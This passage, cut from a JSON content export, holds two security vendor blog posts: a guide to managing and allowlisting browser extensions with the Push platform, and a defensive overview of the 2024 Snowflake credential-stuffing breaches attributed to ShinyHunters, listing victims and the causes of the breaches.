",{"data":60952,"content":60953,"nodeType":1570},{},[60954],{"data":60955,"content":60956,"nodeType":866},{},[60957,60962],{"data":60958,"marks":60959,"value":60961,"nodeType":865},{},[60960],{"type":926},"High",{"data":60963,"marks":60964,"value":60965,"nodeType":865},{},[]," if the extension was enabled and is still active (i.e. the control was in monitor mode).",{"data":60967,"content":60971,"nodeType":912},{"target":60968},{"sys":60969},{"id":60970,"type":909,"linkType":910},"1yOPlBKtLGYyN80OCJ9qMn",[],{"data":60973,"content":60974,"nodeType":1317},{},[60975],{"data":60976,"marks":60977,"value":60979,"nodeType":865},{},[60978],{"type":926},"Step 1: Establish an inventory of existing extensions.",{"data":60981,"content":60982,"nodeType":866},{},[60983,60987,60992,60996],{"data":60984,"marks":60985,"value":60986,"nodeType":865},{},[],"Next, we recommend you take stock of what’s already running in your environment so you can begin to make risk-based decisions about what you allow, and what you don’t. This means building an inventory of ",{"data":60988,"marks":60989,"value":60991,"nodeType":865},{},[60990],{"type":926},"every extension ",{"data":60993,"marks":60994,"value":60995,"nodeType":865},{},[],"running in ",{"data":60997,"marks":60998,"value":61000,"nodeType":865},{},[60999],{"type":926},"every browser. ",{"data":61002,"content":61003,"nodeType":866},{},[61004],{"data":61005,"marks":61006,"value":61007,"nodeType":865},{},[],"Push provides real-time visibility of extensions installed in every browser across your workforce. ",{"data":61009,"content":61010,"nodeType":866},{},[61011],{"data":61012,"marks":61013,"value":61014,"nodeType":865},{},[],"Push tracks several key data points, including: ",{"data":61016,"content":61017,"nodeType":1616},{},[61018,61028,61038,61048,61058,61068,61078,61088,61098],{"data":61019,"content":61020,"nodeType":1570},{},[61021],{"data":61022,"content":61023,"nodeType":866},{},[61024],{"data":61025,"marks":61026,"value":61027,"nodeType":865},{},[],"Extension name, ID, and version number",{"data":61029,"content":61030,"nodeType":1570},{},[61031],{"data":61032,"content":61033,"nodeType":866},{},[61034],{"data":61035,"marks":61036,"value":61037,"nodeType":865},{},[],"Update & homepage URL",{"data":61039,"content":61040,"nodeType":1570},{},[61041],{"data":61042,"content":61043,"nodeType":866},{},[61044],{"data":61045,"marks":61046,"value":61047,"nodeType":865},{},[],"Extension permissions",{"data":61049,"content":61050,"nodeType":1570},{},[61051],{"data":61052,"content":61053,"nodeType":866},{},[61054],{"data":61055,"marks":61056,"value":61057,"nodeType":865},{},[],"Host permissions (where applicable)",{"data":61059,"content":61060,"nodeType":1570},{},[61061],{"data":61062,"content":61063,"nodeType":866},{},[61064],{"data":61065,"marks":61066,"value":61067,"nodeType":865},{},[],"Deployment method (e.g. managed, manual, sideloaded or development)",{"data":61069,"content":61070,"nodeType":1570},{},[61071],{"data":61072,"content":61073,"nodeType":866},{},[61074],{"data":61075,"marks":61076,"value":61077,"nodeType":865},{},[],"Which employees use the extension",{"data":61079,"content":61080,"nodeType":1570},{},[61081],{"data":61082,"content":61083,"nodeType":866},{},[61084],{"data":61085,"marks":61086,"value":61087,"nodeType":865},{},[],"Which browsers have the extension installed",{"data":61089,"content":61090,"nodeType":1570},{},[61091],{"data":61092,"content":61093,"nodeType":866},{},[61094],{"data":61095,"marks":61096,"value":61097,"nodeType":865},{},[],"Whether the extension is enabled or disabled",{"data":61099,"content":61100,"nodeType":1570},{},[61101],{"data":61102,"content":61103,"nodeType":866},{},[61104],{"data":61105,"marks":61106,"value":61107,"nodeType":865},{},[],"Useful metadata like install count, ownership history, update history, and whether the extension has been unlisted from the web store.",{"data":61109,"content":61110,"nodeType":866},{},[61111],{"data":61112,"marks":61113,"value":61114,"nodeType":865},{},[],"This information is critical for assessing risk, as well as providing an early warning of future malicious intent. ",{"data":61116,"content":61117,"nodeType":866},{},[61118,61122,61127],{"data":61119,"marks":61120,"value":61121,"nodeType":865},{},[],"You can enable browser extension visibility in the Push platform by going to ",{"data":61123,"marks":61124,"value":61126,"nodeType":865},{},[61125],{"type":926},"Settings > Organization > Browser extension visibility",{"data":61128,"marks":61129,"value":61130,"nodeType":865},{},[]," and toggling on the feature.",{"data":61132,"content":61136,"nodeType":912},{"target":61133},{"sys":61134},{"id":61135,"type":909,"linkType":910},"2LCwZNbSazYGIEfWHZKJRU",[],{"data":61138,"content":61139,"nodeType":1317},{},[61140],{"data":61141,"marks":61142,"value":60831,"nodeType":865},{},[61143],{"type":926},{"data":61145,"content":61146,"nodeType":866},{},[61147],{"data":61148,"marks":61149,"value":61150,"nodeType":865},{},[],"Now that you’ve built a real-time inventory, you can start to analyse the data to find risky extensions. ",{"data":61152,"content":61153,"nodeType":866},{},[61154],{"data":61155,"marks":61156,"value":61157,"nodeType":865},{},[],"Every extension that is running in your environment expands your potential attack surface, representing another node that can be compromised by an attacker. So it makes sense to only allow those that are absolutely necessary in order to sensibly control the risk. ",{"data":61159,"content":61160,"nodeType":866},{},[61161],{"data":61162,"marks":61163,"value":61164,"nodeType":865},{},[],"You can start to investigate and prune extensions based on the properties tracked in the Push platform. For example:",{"data":61166,"content":61167,"nodeType":1616},{},[61168,61178,61206,61216],{"data":61169,"content":61170,"nodeType":1570},{},[61171],{"data":61172,"content":61173,"nodeType":866},{},[61174],{"data":61175,"marks":61176,"value":61177,"nodeType":865},{},[],"Extensions with a low install count from an unverified publisher. ",{"data":61179,"content":61180,"nodeType":1570},{},[61181],{"data":61182,"content":61183,"nodeType":866},{},[61184,61188,61193,61197,61202],{"data":61185,"marks":61186,"value":61187,"nodeType":865},{},[],"Extensions that have been ",{"data":61189,"marks":61190,"value":61192,"nodeType":865},{},[61191],{"type":926},"sideloaded",{"data":61194,"marks":61195,"value":61196,"nodeType":865},{},[]," (installed by software on the machine) or are ",{"data":61198,"marks":61199,"value":61201,"nodeType":865},{},[61200],{"type":926},"development",{"data":61203,"marks":61204,"value":61205,"nodeType":865},{},[]," (installed from a folder off-disk when Developer mode is turned on)",{"data":61207,"content":61208,"nodeType":1570},{},[61209],{"data":61210,"content":61211,"nodeType":866},{},[61212],{"data":61213,"marks":61214,"value":61215,"nodeType":865},{},[],"Extensions that are used by a small number of employees for niche / non-critical functions. ",{"data":61217,"content":61218,"nodeType":1570},{},[61219],{"data":61220,"content":61221,"nodeType":866},{},[61222],{"data":61223,"marks":61224,"value":61225,"nodeType":865},{},[],"Extensions with risky permissions.",{"data":61227,"content":61231,"nodeType":912},{"target":61228},{"sys":61229},{"id":61230,"type":909,"linkType":910},"FpGNvFgEGj6eAGihoWEUi",[],{"data":61233,"content":61237,"nodeType":912},{"target":61234},{"sys":61235},{"id":61236,"type":909,"linkType":910},"5JccSPh103QIQJxIh9pk4x",[],{"data":61239,"content":61240,"nodeType":1317},{},[61241],{"data":61242,"marks":61243,"value":61245,"nodeType":865},{},[61244],{"type":926},"Step 3: Create an allowlist to control the extensions active in your environment.",{"data":61247,"content":61248,"nodeType":866},{},[61249],{"data":61250,"marks":61251,"value":61252,"nodeType":865},{},[],"Using the output of your risk assessment and the data provided by the Push platform, you can control the extensions that you allow your employees to use.",{"data":61254,"content":61255,"nodeType":866},{},[61256],{"data":61257,"marks":61258,"value":61259,"nodeType":865},{},[],"To do this, you need to allowlist the extensions you’re happy for employees to use (and block everything else). That way, you remove the ability for employees to add new extensions unless approved by an admin. This means you either:",{"data":61261,"content":61262,"nodeType":1616},{},[61263,61273],{"data":61264,"content":61265,"nodeType":1570},{},[61266],{"data":61267,"content":61268,"nodeType":866},{},[61269],{"data":61270,"marks":61271,"value":61272,"nodeType":865},{},[],"Add every extension you currently have running in your environment to an allowlist, block everything else, and then start to prune extensions from that list. ",{"data":61274,"content":61275,"nodeType":1570},{},[61276],{"data":61277,"content":61278,"nodeType":866},{},[61279],{"data":61280,"marks":61281,"value":61282,"nodeType":865},{},[],"Create a shortened allowlist from the outset. ",{"data":61284,"content":61285,"nodeType":866},{},[61286],{"data":61287,"marks":61288,"value":61289,"nodeType":865},{},[],"Both are valid ways of solving the problem, with the first option being the least potentially disruptive (i.e. you’re not switching off a load of extensions in one go). That said, this might not be a viable solution depending on your company size. ",{"data":61291,"content":61295,"nodeType":912},{"target":61292},{"sys":61293},{"id":61294,"type":909,"linkType":910},"6wQW4VqLeLXMXdPPWLhQAF",[],{"data":61297,"content":61298,"nodeType":866},{},[61299,61304,61314],{"data":61300,"marks":61301,"value":61303,"nodeType":865},{},[61302],{"type":926},"You can do this in lots of different ways depending on the OS and browsers used across your workforce. This can get messy depending on the complexity of your environment. But you can do it in a streamlined, browser-agnostic way ",{"data":61305,"content":61307,"nodeType":889},{"uri":61306},"https://pushsecurity.com/help/10138/#start",[61308],{"data":61309,"marks":61310,"value":61313,"nodeType":865},{},[61311,61312],{"type":943},{"type":926},"using Push",{"data":61315,"marks":61316,"value":14251,"nodeType":865},{},[61317],{"type":926},{"data":61319,"content":61322,"nodeType":912},{"target":61320},{"sys":61321},{"id":46083,"type":909,"linkType":910},[],{"data":61324,"content":61325,"nodeType":866},{},[61326],{"data":61327,"marks":61328,"value":61329,"nodeType":865},{},[],"Managing which extensions you’ve opted to allow is a continuous process that will change as user behavior changes and new extensions are added. It’s important that you regularly review whether your current allowlist is fit for purpose. ",{"data":61331,"content":61332,"nodeType":1317},{},[61333],{"data":61334,"marks":61335,"value":60851,"nodeType":865},{},[61336],{"type":926},{"data":61338,"content":61339,"nodeType":866},{},[61340],{"data":61341,"marks":61342,"value":61343,"nodeType":865},{},[],"Finally, once you’ve begun the process of pruning the extensions in your environment and you’ve reached a baseline you’re happy with, it’s now about reviewing and approving any new extension requests, and monitoring for risky changes. ",{"data":61345,"content":61346,"nodeType":866},{},[61347],{"data":61348,"marks":61349,"value":61350,"nodeType":865},{},[],"We recommend monitoring for things like:",{"data":61352,"content":61353,"nodeType":1616},{},[61354,61364,61374],{"data":61355,"content":61356,"nodeType":1570},{},[61357],{"data":61358,"content":61359,"nodeType":866},{},[61360],{"data":61361,"marks":61362,"value":61363,"nodeType":865},{},[],"Regularly reviewing changes in extension ownership + recent updates",{"data":61365,"content":61366,"nodeType":1570},{},[61367],{"data":61368,"content":61369,"nodeType":866},{},[61370],{"data":61371,"marks":61372,"value":61373,"nodeType":865},{},[],"Monitoring for updates to extensions to track risky permissions being added ",{"data":61375,"content":61376,"nodeType":1570},{},[61377],{"data":61378,"content":61379,"nodeType":866},{},[61380],{"data":61381,"marks":61382,"value":61383,"nodeType":865},{},[],"Monitoring for new malicious browser extension detections",{"data":61385,"content":61386,"nodeType":866},{},[61387,61391,61400],{"data":61388,"marks":61389,"value":61390,"nodeType":865},{},[],"It’s super simple to use Push data to create alerts and feed your detection and response workflows. ",{"data":61392,"content":61394,"nodeType":889},{"uri":61393},"https://pushsecurity.com/help/audience/administrators/docs/connect-to-siem-or-soar/#start",[61395],{"data":61396,"marks":61397,"value":61399,"nodeType":865},{},[61398],{"type":943},"See how to connect Push to your SIEM/SOAR and learn more about the Push REST API and webhooks. ",{"data":61401,"marks":61402,"value":21,"nodeType":865},{},[],{"data":61404,"content":61405,"nodeType":866},{},[61406],{"data":61407,"marks":61408,"value":61409,"nodeType":865},{},[],"At this point, you can then triage and investigate further to see whether additional action is required. ",{"data":61411,"content":61412,"nodeType":7584},{},[61413],{"data":61414,"content":61415,"nodeType":866},{},[61416],{"data":61417,"marks":61418,"value":61420,"nodeType":865},{},[61419],{"type":926},"And there you have it! You’ve secured browser extension use across your organization using Push. ",{"data":61422,"content":61423,"nodeType":972},{},[],{"data":61425,"content":61426,"nodeType":1317},{},[61427],{"data":61428,"marks":61429,"value":61431,"nodeType":865},{},[61430],{"type":926},"Don’t take our word for it …",{"data":61433,"content":61434,"nodeType":866},{},[61435],{"data":61436,"marks":61437,"value":61438,"nodeType":865},{},[],"Our friends at GitLab echo our thoughts on browser extensions and the value of tools like Push that help them to solve this problem.",{"data":61440,"content":61444,"nodeType":912},{"target":61441},{"sys":61442},{"id":61443,"type":909,"linkType":910},"1m0x2Q6MmOn7ANqCtpYptu",[],{"data":61446,"content":61447,"nodeType":972},{},[],{"data":61449,"content":61450,"nodeType":981},{},[61451],{"data":61452,"marks":61453,"value":61455,"nodeType":865},{},[61454],{"type":926},"Additional tips",{"data":61457,"content":61458,"nodeType":1317},{},[61459],{"data":61460,"marks":61461,"value":61463,"nodeType":865},{},[61462],{"type":926},"Disable browser syncing",{"data":61465,"content":61466,"nodeType":866},{},[61467],{"data":61468,"marks":61469,"value":61470,"nodeType":865},{},[],"If you’re in the early stages of your extension management process, an extra step you might want to consider is disabling browser syncing for extensions. ",{"data":61472,"content":61473,"nodeType":866},{},[61474,61478,61487],{"data":61475,"marks":61476,"value":61477,"nodeType":865},{},[],"When we deploy Push, we find it’s not unusual for people to sign into their work browser with a personal email profile. There’s a significant risk here — if you end up saving and syncing credentials across devices, a compromise on a (usually less secure) personal device can lead to business accounts being compromised. Notably, this was exploited in a ",{"data":61479,"content":61481,"nodeType":889},{"uri":61480},"https://sec.okta.com/articles/harfiles/",[61482],{"data":61483,"marks":61484,"value":61486,"nodeType":865},{},[61485],{"type":943},"2023 Okta security breach",{"data":61488,"marks":61489,"value":1615,"nodeType":865},{},[],{"data":61491,"content":61492,"nodeType":866},{},[61493],{"data":61494,"marks":61495,"value":61496,"nodeType":865},{},[],"The same model applies to browser extensions. By default, any extension installed from the web store is synced across devices where a profile is logged in and syncing is enabled. ",{"data":61498,"content":61499,"nodeType":866},{},[61500],{"data":61501,"marks":61502,"value":61503,"nodeType":865},{},[],"As an example, you can see how to disable browser extension syncing if you manage Chrome in Google Workspace.",{"data":61505,"content":61509,"nodeType":912},{"target":61506},{"sys":61507},{"id":61508,"type":909,"linkType":910},"23gbN24WiOzszvwP9zy2MM",[],{"data":61511,"content":61512,"nodeType":866},{},[61513],{"data":61514,"marks":61515,"value":61516,"nodeType":865},{},[],"This only applies if you haven’t yet created an allowlist for extensions in your environment, in which case any extensions not on the list will be blocked. ",{"data":61518,"content":61519,"nodeType":866},{},[61520],{"data":61521,"marks":61522,"value":61523,"nodeType":865},{},[],"You can also use Push to surface which users are logged into their browser using a non-work profile and whether the profile is synced across devices. ",{"data":61525,"content":61529,"nodeType":912},{"target":61526},{"sys":61527},{"id":61528,"type":909,"linkType":910},"421C3CL6Sfa8gmn56X7lRI",[],{"data":61531,"content":61532,"nodeType":972},{},[],{"data":61534,"content":61535,"nodeType":981},{},[61536],{"data":61537,"marks":61538,"value":2270,"nodeType":865},{},[61539],{"type":926},{"data":61541,"content":61542,"nodeType":866},{},[61543,61546,61553],{"data":61544,"marks":61545,"value":58623,"nodeType":865},{},[],{"data":61547,"content":61548,"nodeType":889},{"uri":27},[61549],{"data":61550,"marks":61551,"value":61552,"nodeType":865},{},[],"modern attack techniques that are the leading cause of breaches today",{"data":61554,"marks":61555,"value":1615,"nodeType":865},{},[],{"data":61557,"content":61558,"nodeType":866},{},[61559],{"data":61560,"marks":61561,"value":58641,"nodeType":865},{},[],{"data":61563,"content":61564,"nodeType":866},{},[61565,61569,61577,61580,61588,61591,61598],{"data":61566,"marks":61567,"value":61568,"nodeType":865},{},[],"Want to learn more about Push? ",{"data":61570,"content":61571,"nodeType":889},{"uri":11375},[61572],{"data":61573,"marks":61574,"value":61576,"nodeType":865},{},[61575],{"type":943},"Check out our latest product overview",{"data":61578,"marks":61579,"value":2717,"nodeType":865},{},[],{"data":61581,"content":61582,"nodeType":889},{"uri":11387},[61583],{"data":61584,"marks":61585,"value":61587,"nodeType":865},{},[61586],{"type":943},"visit our demo library",{"data":61589,"marks":61590,"value":11397,"nodeType":865},{},[],{"data":61592,"content":61593,"nodeType":889},{"uri":1372},[61594],{"data":61595,"marks":61596,"value":11405,"nodeType":865},{},[61597],{"type":943},{"data":61599,"marks":61600,"value":1615,"nodeType":865},{},[],"Guide: How to manage and block browser extensions using Push","How to detect risky and malicious extensions and block them from running in employee browsers. ","2026-03-04T00:00:00.000Z","browser-extension-management-guide",{"items":61606},[61607,61609],{"sys":61608,"name":7796},{"id":7795},{"sys":61610,"name":342},{"id":4642},{"items":61612},[61613],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":61614},{"url":7804},{"__typename":1429,"sys":61616,"content":61618,"title":62409,"synopsis":62410,"hashTags":59,"publishedDate":62411,"slug":62412,"tagsCollection":62413,"authorsCollection":62417},{"id":61617},"PAPJPr3CIB6J20udYyy1r",{"json":61619},{"data":61620,"content":61621,"nodeType":1382},{},[61622,61628,61648,61655,61662,61668,61671,61679,61686,61704,61715,61722,61729,61736,61829,61832,61840,61923,61929,61932,61940,61948,61955,61962,61970,61987,61994,62002,62009,62016,62024,62031,62038,62058,62064,62067,62075,62083,62090,62194,62201,62209,62216,62223,62229,62237,62244,62251,62258,62266,62273,62280,62287,62294,62300,62303,62311,62318,62351,62358,62377,62397,62403],{"data":61623,"content":61627,"nodeType":912},{"target":61624},{"sys":61625},{"id":61626,"type":909,"linkType":910},"1eBClNW4NOR66F0tl9h6lD",[],{"data":61629,"content":61630,"nodeType":866},{},[61631,61635,61644],{"data":61632,"marks":61633,"value":61634,"nodeType":865},{},[],"The attacks on Snowflake customers in 2024 collectively constituted the biggest cyber security event of the year in terms of the number of organizations and individuals affected (at least, if you exclude CrowdStrike causing a worldwide outage in July) — certainly, it was the largest perpetrated by a criminal group against commercial enterprises. It has been touted by some news outlets as ‘",{"data":61636,"content":61638,"nodeType":889},{"uri":61637},"https://www.wired.com/story/snowflake-breach-advanced-auto-parts-lendingtree/",[61639],{"data":61640,"marks":61641,"value":61643,"nodeType":865},{},[61642],{"type":943},"one of the biggest breaches ever",{"data":61645,"marks":61646,"value":61647,"nodeType":865},{},[],"’.  ",{"data":61649,"content":61650,"nodeType":866},{},[61651],{"data":61652,"marks":61653,"value":61654,"nodeType":865},{},[],"Snowflake was a watershed moment that signalled the significant opportunity presented by identity attacks on cloud services. It demonstrated how comparatively unsophisticated methods (logging in to user accounts with stolen credentials and dumping the data) can have the same or greater impact as a traditional network or endpoint based cyber attack involving vulnerability exploitation, malware deployment, ransomware, etc. ",{"data":61656,"content":61657,"nodeType":866},{},[61658],{"data":61659,"marks":61660,"value":61661,"nodeType":865},{},[],"Here’s everything you need to know about the Snowflake attacks — and what you can do to protect yourself against the next Snowflake in the future.",{"data":61663,"content":61667,"nodeType":912},{"target":61664},{"sys":61665},{"id":61666,"type":909,"linkType":910},"4QoPUiP5q6Mwj1eWUZT15Q",[],{"data":61669,"content":61670,"nodeType":972},{},[],{"data":61672,"content":61673,"nodeType":981},{},[61674],{"data":61675,"marks":61676,"value":61678,"nodeType":865},{},[61677],{"type":926},"Snowflake: The facts",{"data":61680,"content":61681,"nodeType":866},{},[61682],{"data":61683,"marks":61684,"value":61685,"nodeType":865},{},[],"Cyber criminals associated with the threat group known as ShinyHunters claimed responsibility for breaching multiple organizations using Snowflake, a cloud-based data warehousing and analytics platform. ",{"data":61687,"content":61688,"nodeType":866},{},[61689,61693,61701],{"data":61690,"marks":61691,"value":61692,"nodeType":865},{},[],"ShinyHunters associates targeted ~165 organizations that were subjected to account takeover attacks using stolen credentials harvested from historical infostealer infections dating back as far as 2020, ",{"data":61694,"content":61695,"nodeType":889},{"uri":15841},[61696],{"data":61697,"marks":61698,"value":61700,"nodeType":865},{},[61699],{"type":943},"according to Mandiant’s investigation",{"data":61702,"marks":61703,"value":14251,"nodeType":865},{},[],{"data":61705,"content":61706,"nodeType":7584},{},[61707],{"data":61708,"content":61709,"nodeType":866},{},[61710],{"data":61711,"marks":61712,"value":61714,"nodeType":865},{},[61713],{"type":926},">80% of the compromised accounts belonging to Snowflake customers had prior credential exposure. ",{"data":61716,"content":61717,"nodeType":866},{},[61718],{"data":61719,"marks":61720,"value":61721,"nodeType":865},{},[],"The impacted accounts lacked MFA, meaning successful authentication only required a valid username and password. As the Snowflake credentials found in infostealer malware credential dumps had not been rotated or updated, they remained valid and could be used to authenticate to user accounts on Snowflake tenants belonging to various customers.",{"data":61723,"content":61724,"nodeType":866},{},[61725],{"data":61726,"marks":61727,"value":61728,"nodeType":865},{},[],"As a data warehousing platform integrated with a range of connected cloud services, access to a customer’s Snowflake tenant provided attackers with large quantities of sensitive commercial and personal data that could be stolen and monetized by attackers in a variety of ways — such as by ransoming the victim organization, extorting individual end-customers, and selling the data on to other criminal organizations. ",{"data":61730,"content":61731,"nodeType":866},{},[61732],{"data":61733,"marks":61734,"value":61735,"nodeType":865},{},[],"In total, 9 public victims were named following the breach, collectively impacting hundreds of millions of people. ",{"data":61737,"content":61738,"nodeType":1616},{},[61739,61749,61759,61769,61779,61789,61799,61809,61819],{"data":61740,"content":61741,"nodeType":1570},{},[61742],{"data":61743,"content":61744,"nodeType":866},{},[61745],{"data":61746,"marks":61747,"value":61748,"nodeType":865},{},[],"Lending Tree: Sensitive data for over 190 million people available online including customer details, partial credit card numbers, insurance quotes and other information, being sold for $2m.",{"data":61750,"content":61751,"nodeType":1570},{},[61752],{"data":61753,"content":61754,"nodeType":866},{},[61755],{"data":61756,"marks":61757,"value":61758,"nodeType":865},{},[],"Truist Bank: Information belonging to 65,000 employees being sold online for $1m",{"data":61760,"content":61761,"nodeType":1570},{},[61762],{"data":61763,"content":61764,"nodeType":866},{},[61765],{"data":61766,"marks":61767,"value":61768,"nodeType":865},{},[],"Advance Auto Parts: 3TB of data for sale for $1.5 million. Affected 2.3 million people, as well as current and former employees and job applicants.",{"data":61770,"content":61771,"nodeType":1570},{},[61772],{"data":61773,"content":61774,"nodeType":866},{},[61775],{"data":61776,"marks":61777,"value":61778,"nodeType":865},{},[],"Pure Storage: Workspace with 11k customer records including company, email, LDAP username and software version numbers.",{"data":61780,"content":61781,"nodeType":1570},{},[61782],{"data":61783,"content":61784,"nodeType":866},{},[61785],{"data":61786,"marks":61787,"value":61788,"nodeType":865},{},[],"Los Angeles Unified: Student data, disability information, discipline details, and parent information, being sold online for $150k.",{"data":61790,"content":61791,"nodeType":1570},{},[61792],{"data":61793,"content":61794,"nodeType":866},{},[61795],{"data":61796,"marks":61797,"value":61798,"nodeType":865},{},[],"Neiman Marcus: 31m email addresses exposed alongside various personal information.",{"data":61800,"content":61801,"nodeType":1570},{},[61802],{"data":61803,"content":61804,"nodeType":866},{},[61805],{"data":61806,"marks":61807,"value":61808,"nodeType":865},{},[],"Santander: 30 million customer details for sale relating to customers of Santander Chile, Spain, and Uruguay.",{"data":61810,"content":61811,"nodeType":1570},{},[61812],{"data":61813,"content":61814,"nodeType":866},{},[61815],{"data":61816,"marks":61817,"value":61818,"nodeType":865},{},[],"Ticketmaster: 560 million customer details for sale, disruption to events and ticketing worldwide, increasing in scam ticket production.",{"data":61820,"content":61821,"nodeType":1570},{},[61822],{"data":61823,"content":61824,"nodeType":866},{},[61825],{"data":61826,"marks":61827,"value":61828,"nodeType":865},{},[],"AT&T: Call logs stolen for approximately 109 million customers (nearly all of its mobile customers). AT&T paid an undisclosed ransom fee. ",{"data":61830,"content":61831,"nodeType":972},{},[],{"data":61833,"content":61834,"nodeType":981},{},[61835],{"data":61836,"marks":61837,"value":61839,"nodeType":865},{},[61838],{"type":926},"The Snowflake attacks step-by-step",{"data":61841,"content":61842,"nodeType":1616},{},[61843,61853,61863,61873,61883,61893,61903,61913],{"data":61844,"content":61845,"nodeType":1570},{},[61846],{"data":61847,"content":61848,"nodeType":866},{},[61849],{"data":61850,"marks":61851,"value":61852,"nodeType":865},{},[],"Snowflake users were infected with infostealer malware that harvested credentials from user devices over an extended period via several infostealer malware variants, including; VIDAR, RISEPRO, REDLINE, RACOON STEALER, LUMMA and METASTEALER.",{"data":61854,"content":61855,"nodeType":1570},{},[61856],{"data":61857,"content":61858,"nodeType":866},{},[61859],{"data":61860,"marks":61861,"value":61862,"nodeType":865},{},[],"Credentials appeared on criminal marketplaces e.g. dark web forums and Telegram channels.",{"data":61864,"content":61865,"nodeType":1570},{},[61866],{"data":61867,"content":61868,"nodeType":866},{},[61869],{"data":61870,"marks":61871,"value":61872,"nodeType":865},{},[],"ShinyHunters saw the potential in targeting Snowflake users, based on the availability of credentials, number of customer organizations, and the value of the data that can be accessed in Snowflake. ",{"data":61874,"content":61875,"nodeType":1570},{},[61876],{"data":61877,"content":61878,"nodeType":866},{},[61879],{"data":61880,"marks":61881,"value":61882,"nodeType":865},{},[],"ShinyHunters embarked on a large-scale campaign targeting Snowflake customer accounts using previously breached credentials. ",{"data":61884,"content":61885,"nodeType":1570},{},[61886],{"data":61887,"content":61888,"nodeType":866},{},[61889],{"data":61890,"marks":61891,"value":61892,"nodeType":865},{},[],"ShinyHunters accessed user accounts that lacked MFA, belonging to approximately 165 Snowflake customers. ",{"data":61894,"content":61895,"nodeType":1570},{},[61896],{"data":61897,"content":61898,"nodeType":866},{},[61899],{"data":61900,"marks":61901,"value":61902,"nodeType":865},{},[],"ShinyHunters used SQL-based reconnaissance, staging, and data exfiltration techniques, expedited by custom hacker tooling developed specifically for Snowflake, to conduct attacks at scale.",{"data":61904,"content":61905,"nodeType":1570},{},[61906],{"data":61907,"content":61908,"nodeType":866},{},[61909],{"data":61910,"marks":61911,"value":61912,"nodeType":865},{},[],"ShinyHunters acquired massive quantities of Snowflake data based on the information that each customer stored in Snowflake or connected apps. ",{"data":61914,"content":61915,"nodeType":1570},{},[61916],{"data":61917,"content":61918,"nodeType":866},{},[61919],{"data":61920,"marks":61921,"value":61922,"nodeType":865},{},[],"ShinyHunters began attempts to extort Snowflake and end-customers using the data acquired.",{"data":61924,"content":61928,"nodeType":912},{"target":61925},{"sys":61926},{"id":61927,"type":909,"linkType":910},"2J92gFLs1wAAGC4nQTaiWu",[],{"data":61930,"content":61931,"nodeType":972},{},[],{"data":61933,"content":61934,"nodeType":981},{},[61935],{"data":61936,"marks":61937,"value":61939,"nodeType":865},{},[61938],{"type":926},"Why did the Snowflake breaches happen?",{"data":61941,"content":61942,"nodeType":1317},{},[61943],{"data":61944,"marks":61945,"value":61947,"nodeType":865},{},[61946],{"type":926},"Stolen credentials remained valid for years",{"data":61949,"content":61950,"nodeType":866},{},[61951],{"data":61952,"marks":61953,"value":61954,"nodeType":865},{},[],"The credentials used to access Snowflake accounts from historical infostealer infections had not been changed or rotated despite dating back as far as 2020, and remained valid. ",{"data":61956,"content":61957,"nodeType":866},{},[61958],{"data":61959,"marks":61960,"value":61961,"nodeType":865},{},[],"This highlights the potential risk of breached credentials already in the public domain, particularly in the case of cloud services like Snowflake that may not be subject to the same levels of credential hygiene as other traditional enterprise domain accounts. ",{"data":61963,"content":61964,"nodeType":1317},{},[61965],{"data":61966,"marks":61967,"value":61969,"nodeType":865},{},[61968],{"type":926},"Local logins lacked MFA ",{"data":61971,"content":61972,"nodeType":866},{},[61973,61977,61984],{"data":61974,"marks":61975,"value":61976,"nodeType":865},{},[],"Even where organizations were primarily encouraging employees to use SSO to access their Snowflake tenant, previously created local logins with a username and password continue to exist even after introducing SSO-based logins. Further, MFA was not globally enforceable at the application level, meaning that MFA was only set when logging into an IdP account for SSO, but not for local logins. We call this problem ",{"data":61978,"content":61979,"nodeType":889},{"uri":6710},[61980],{"data":61981,"marks":61982,"value":6715,"nodeType":865},{},[61983],{"type":943},{"data":61985,"marks":61986,"value":14251,"nodeType":865},{},[],{"data":61988,"content":61989,"nodeType":866},{},[61990],{"data":61991,"marks":61992,"value":61993,"nodeType":865},{},[],"This meant that attackers were able to take over Snowflake accounts with only a single authentication factor (username & password). ",{"data":61995,"content":61996,"nodeType":1317},{},[61997],{"data":61998,"marks":61999,"value":62001,"nodeType":865},{},[62000],{"type":926},"Snowflake was a high-value target used by many organizations",{"data":62003,"content":62004,"nodeType":866},{},[62005],{"data":62006,"marks":62007,"value":62008,"nodeType":865},{},[],"As a data warehousing platform used by a vast number of organizations, Snowflake represented a high-value target based on the data typically stored within it, and the repeatable way in which Snowflake users could be targeted. ",{"data":62010,"content":62011,"nodeType":866},{},[62012],{"data":62013,"marks":62014,"value":62015,"nodeType":865},{},[],"The attacker followed a near identical process when targeting Snowflake victims, meaning it could be scripted and executed at scale, with attacks taking a matter of minutes. ",{"data":62017,"content":62018,"nodeType":1317},{},[62019],{"data":62020,"marks":62021,"value":62023,"nodeType":865},{},[62022],{"type":926},"Infostealer infections are driving credential availability",{"data":62025,"content":62026,"nodeType":866},{},[62027],{"data":62028,"marks":62029,"value":62030,"nodeType":865},{},[],"Infostealers are often seen as a low-priority issue, but are the primary source of stolen credentials used in campaigns like this one. ",{"data":62032,"content":62033,"nodeType":866},{},[62034],{"data":62035,"marks":62036,"value":62037,"nodeType":865},{},[],"EDR is a strong protection but is often bypassed by infostealers as attackers continually modify them to bypass security controls. Further, unmanaged devices such as those used by third-party contractors or BYOD employees often lack the robust controls applied to company-managed devices and are naturally more susceptible to infostealer attacks. And since browser profiles can be synced across devices, even personal device compromises can result in the capture of corporate credentials.  ",{"data":62039,"content":62040,"nodeType":866},{},[62041,62045,62054],{"data":62042,"marks":62043,"value":62044,"nodeType":865},{},[],"There is some suggestion that targeting key third-party suppliers – ",{"data":62046,"content":62048,"nodeType":889},{"uri":62047},"https://www.wired.com/story/epam-snowflake-ticketmaster-breach-shinyhunters/",[62049],{"data":62050,"marks":62051,"value":62053,"nodeType":865},{},[62052],{"type":943},"such as EPAM Systems, a software engineering firm and Snowflake ‘Elite Tier Partner’",{"data":62055,"marks":62056,"value":62057,"nodeType":865},{},[]," – provided some of the access to Snowflake customers needed. It’s unclear what came first, but it’s possible (likely, even) that EPAM was identified as a target specifically because of its lucrative customer base and Snowflake credentials — adding another indicator that Snowflake was potentially a premeditated attack inspired by the availability of Snowflake credentials 